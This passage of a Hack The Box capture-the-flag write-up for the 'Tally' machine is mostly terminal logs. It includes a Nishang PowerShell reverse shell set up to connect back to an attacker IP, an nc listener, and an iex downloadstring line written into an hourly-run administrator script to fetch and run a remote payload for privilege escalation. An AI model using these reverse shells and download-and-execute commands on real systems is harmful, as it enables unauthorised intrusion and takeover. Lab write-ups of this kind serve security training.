--2020-12-23 17:21:02-- https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.36.133
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.36.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 4339 (4.2K) [text/plain]
|
||||
Saving to: ‘Invoke-PowerShellTcp.ps1’
|
||||
|
||||
Invoke-PowerShellTcp.ps1 100%[=======================================>] 4.24K --.-KB/s in 0s
|
||||
|
||||
2020-12-23 17:21:02 (21.8 MB/s) - ‘Invoke-PowerShellTcp.ps1’ saved [4339/4339]
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally]
|
||||
→ echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001' >> Invoke-PowerShellTcp.ps1
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally]
|
||||
→ cat Invoke-PowerShellTcp.ps1 | tail -n2
|
||||
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally]
|
||||
→ cat Invoke-PowerShellTcp.ps1 | tail -n5
|
||||
Write-Error $_
|
||||
}
|
||||
}
|
||||
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally]
|
||||
→ mv Invoke-PowerShellTcp.ps1 rev9001.ps1
|
||||
|
||||
|
||||
|
||||
`  
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/25 ] [~/_HTB/Tally]
|
||||
→ nc -lvnp 9001
|
||||
listening on [any] 9001 ...
|
||||
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.59] 56942
|
||||
Windows PowerShell running as user Sarah on TALLY
|
||||
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
|
||||
|
||||
PS C:\Windows\system32>whoami
|
||||
tally\sarah
|
||||
PS C:\Windows\system32> cd /
|
||||
PS C:\> cd Users
|
||||
PS C:\Users> dir
|
||||
|
||||
|
||||
Directory: C:\Users
|
||||
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
d----- 18/09/2017 22:35 .NET v2.0
|
||||
d----- 18/09/2017 22:35 .NET v2.0 Classic
|
||||
d----- 30/08/2017 01:14 .NET v4.5
|
||||
d----- 30/08/2017 01:14 .NET v4.5 Classic
|
||||
d----- 17/09/2017 21:33 Administrator
|
||||
d----- 18/09/2017 22:35 Classic .NET AppPool
|
||||
d-r--- 21/11/2016 01:24 Public
|
||||
d----- 13/10/2017 23:57 Sarah
|
||||
d----- 12/10/2017 21:28 SQLSERVERAGENT
|
||||
d----- 02/09/2017 22:46 SQLTELEMETRY
|
||||
d----- 13/09/2017 21:27 Tim
|
||||
|
||||
|
||||
PS C:\Users> cd Sarah
|
||||
PS C:\Users\Sarah> cd Desktop
|
||||
PS C:\Users\Sarah\Desktop> dir
|
||||
|
||||
|
||||
Directory: C:\Users\Sarah\Desktop
|
||||
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
-ar--- 01/10/2017 22:32 916 browser.bat
|
||||
-a---- 17/09/2017 21:50 845 FTP.lnk
|
||||
-a---- 23/09/2017 21:11 297 note to tim (draft).txt
|
||||
-a---- 19/10/2017 21:49 17152 SPBestWarmUp.ps1
|
||||
-a---- 19/10/2017 22:48 11010 SPBestWarmUp.xml
|
||||
-a---- 17/09/2017 21:48 1914 SQLCMD.lnk
|
||||
-a---- 21/09/2017 00:46 129 todo.txt
|
||||
-ar--- 31/08/2017 02:04 32 user.txt
|
||||
-a---- 17/09/2017 21:49 936 zz_Migration.lnk
|
||||
|
||||
|
||||
PS C:\Users\Sarah\Desktop> type user.txt
|
||||
beXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
|
||||
|
||||
And there you go! We have been able to print out the user flag.
|
||||
|
||||
## **Part 3 : Getting Root Access**
|
||||
|
||||
Now in order to privesc on this box we need to first take a look at sarah's desktop files:
|
||||
|
||||
|
||||
|
||||
PS C:\Users\Sarah\Desktop> dir
|
||||
|
||||
|
||||
Directory: C:\Users\Sarah\Desktop
|
||||
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
-ar--- 01/10/2017 22:32 916 browser.bat
|
||||
-a---- 17/09/2017 21:50 845 FTP.lnk
|
||||
-a---- 23/09/2017 21:11 297 note to tim (draft).txt
|
||||
-a---- 19/10/2017 21:49 17152 SPBestWarmUp.ps1
|
||||
-a---- 19/10/2017 22:48 11010 SPBestWarmUp.xml
|
||||
-a---- 17/09/2017 21:48 1914 SQLCMD.lnk
|
||||
-a---- 21/09/2017 00:46 129 todo.txt
|
||||
-ar--- 31/08/2017 02:04 32 user.txt
|
||||
-a---- 17/09/2017 21:49 936 zz_Migration.lnk
|
||||
|
||||
|
||||
PS C:\Users\Sarah\Desktop> type "note to tim (draft).txt"
|
||||
Hi Tim,
|
||||
|
||||
As discussed in the cybersec meeting, malware is often hidden in trusted executables in order to evade detection. I read somewhere that cmd.exe is a common target for backdooring, so I've gone ahead and disallowed any cmd.exe outside the Windows folder from executing.
|
||||
|
||||
Thanks,
|
||||
Sarah
|
||||
|
||||
|
||||
|
||||
Basically here there are multiple ways to privesc, the first one being found in SPBestWarmUp.ps1 which basically is a script we can write to that is being executed every hour by the administrator account, so we're going to put in our second reverse shell payload:
|
||||
|
||||
|
||||
PS C:\Users\Sarah\Desktop> echo "iex(new-object net.webclient).downloadstring('http://10.10.14.6:9005/rev9006.ps1')" > SPBestWarmUp.ps1
|
||||
|
||||
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/25 ] [~/_HTB/Tally]
|
||||
→ nc -lvnp 9006
|
||||
listening on [any] 9006 ...
|
||||
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.59] 56986
|
||||
Windows PowerShell running as user Administrator on TALLY
|
||||
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
|
||||
|
||||
PS C:\Users\Sarah\Desktop>whoami
|
||||
tally\administrator
|
||||
|
||||
PS C:\Users\Sarah\Desktop>cd C:\Users\Administrator\Desktop
|
||||
|
||||
PS C:\Users\Administrator\Desktop>type root.txt
|
||||
60XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
|
||||
|
||||
And there we have it!
|
||||
|
||||
## **Conclusion**
|
||||
|
||||
Here we can see the progress graph :
|
||||
|
||||

|
||||
|
Loading…
Add table
Add a link
Reference in a new issue